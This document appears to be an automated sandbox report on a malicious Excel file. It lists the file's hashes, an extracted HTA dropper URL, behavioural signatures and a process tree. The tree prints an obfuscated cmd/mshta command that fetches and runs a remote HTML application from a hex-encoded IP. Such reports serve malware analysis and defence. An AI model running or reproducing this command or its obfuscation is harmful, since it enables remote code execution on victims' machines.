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Analysis

  • max time kernel
    120s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11/11/2024, 21:37

General

  • Target

    da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls

  • Size

    116KB

  • MD5

    6725e5a3891abc0f348fdcbcd3feeba5

  • SHA1

    652fb97845a5e65682768c2bf7e7165ee241b810

  • SHA256

    da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e

  • SHA512

    7fbb462ae74c2ee11a4e527e17192dccb9dcac8b6e0cef0a18dc8b7ec69f411d4e4b772f67ea756e6139162b908334755228ee2f187c53a49fdf3e42a40b04ef

  • SSDEEP

    3072:Ee+nBqmKk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIhxe53lGvFTQ3IzxgdrvxpU0f:r+nBqmKk3hbdlylKsgqopeJBWhZFVE+j

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe6.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe6.html
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1992
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe6.html
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2812

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/1728-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1728-1-0x00000000723AD000-0x00000000723B8000-memory.dmp

    Filesize

    44KB

  • memory/1728-2-0x00000000723AD000-0x00000000723B8000-memory.dmp

    Filesize

    44KB